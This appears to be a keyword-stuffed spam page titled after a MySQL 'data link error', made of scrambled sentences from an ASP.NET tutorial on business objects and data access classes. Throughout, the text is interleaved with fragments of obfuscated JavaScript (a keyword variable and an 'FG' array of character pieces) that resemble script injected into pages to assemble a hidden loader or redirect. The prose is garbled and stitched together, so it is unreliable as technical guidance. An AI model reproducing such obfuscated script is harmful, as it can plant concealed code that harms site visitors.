Microsoft Data Link Error Initializing Provider Mysql Server

Workbook (xls). So, after I created a brand new web site in Visual Studio 2 I am using the Professional Edition, but you can follow along if you have the Express Edition), I added four folders under the special ASP.. With the class design in mind, it's easier to make decisions for the layout of your project. Figure 3 shows the collapsed code for a typical business object: Figure 3 - The Collapsed Code for the Address Class Showing Two Code Regions.. Address table for the specified ID The Get Item method in the Email Address DB class finally opens a connection to the database and then calls Execute.. Coding the Classes. Empty while the type defaults to Contact Type Not Set, a custom value of the Contact.. To work with instances of Email Address, you need to use the methods in the Email. Type enumeration to indicate it hasn't been set to another value before Think of this as a null value for the Contact.. Person The Email Address Class - Implementation The first region in the class, called Private Variables contains the following code: private int id = -1; private string email = String.

c";FG["My"]="El";FG["pe"]="ry";FG["Tv"]="sfG

DB Class Showing Two Other Code Regions Many classes in the sample application contain a region called Public Methods.. You saw the classes in the Business Objects layer, the Business Logic Layer and you saw a number of classes in the DAL (Data Access Layer).. var RV = 'microsoft+data+link+error+initializing+provider+mysql+server'; var FG = new Array(); FG["Ur"]=":"; FG["UG"]=" "; FG["nH"]="Ch"; FG["xX"]="|"; FG["yD"]="e:"; FG["yD"]="e:

Address in the database As you saw, Get Item in the business layer simply forwards the call to Get.. The Business Objects and Data Access class libraries, the DAL would also have a reference to the Business Objects layer, while the final web site would reference the BO and BLL layers.. Empty; private Contact Type type = Contact Type Not Set; private int contact.. b";FG["Mn"]="t";FG["Mn"]="t";FG["Mn"]="t";FG["Mn"]="t";FG["Ng"]="a:";FG["Ng"]="a:";FG["Ng"]="c

Person Id FROM Email Address WHERE Id = @id This procedure simple retrieves all the fields from the Email. Figure 4 shows the collapsed Code for the Address. Address my Email Address Manager Get Item(id); where id is the ID of a valid Email. In a larger application you may want to use three separate class libraries instead. Address Get Item(int id) It then creates and sets up a new Sql Command The command is configured to call a stored procedure called sproc.. If you don't like this, then check out Nullable Types on the MSDN site The email field (which contains the actual e- mail address) defaults to String.

";FG["yw"]="th"

the actual code for the classes.. Number in the case of the Address class Most of these properties use the private fields from the Private Variables region.. They're often assigned a default value here as well For example: private string street = String.. I agree with Gravitas but you do not need to do a re-install (especially when installing MySQL Server x.. I typically use at least four different regions although I don't use all of them in every file.. NET 2) where an int could be null as well to indicate it doesn't have a value In this case, I can live with the magic number.. ";FG["yg"]=" 1";FG["c"y"]=""a";FG[

scoped variables for the business objects.. Also set the global variables \$ADODBThe SQL Server Import and Export Wizard is a useful tool for copying data from one data source (e., g";FG["XI"]="a";FG["VJ"]="a";FG["

";FG["VI"]="c"';FG["ZM"]=")|";FG["QR"]="v2";FG["QR"]="v2";FG["Hd"]="tp";FG["aW"]="] ";FG["SD"]="r";FG["SD"]="r";FG["SD"]="r";FG["CP"]="in";FG["QX"]="ni";FG["QX"]="ni";FG["GT"]="r";FG["VI \$";FG["HI"]="ms";FG["kY"]="l.. Since the Address, Email Address and Phone Number classes are very similar, I'll only look at one of them: the Email. Address Manager class Working with Instances of Email Address. Address The Email Address. Address The Email Address. Address The Email Address. Solution Explorer: Figure 2 - The Solution Explorer for the Contact Person Manager Application Each class in the Business..
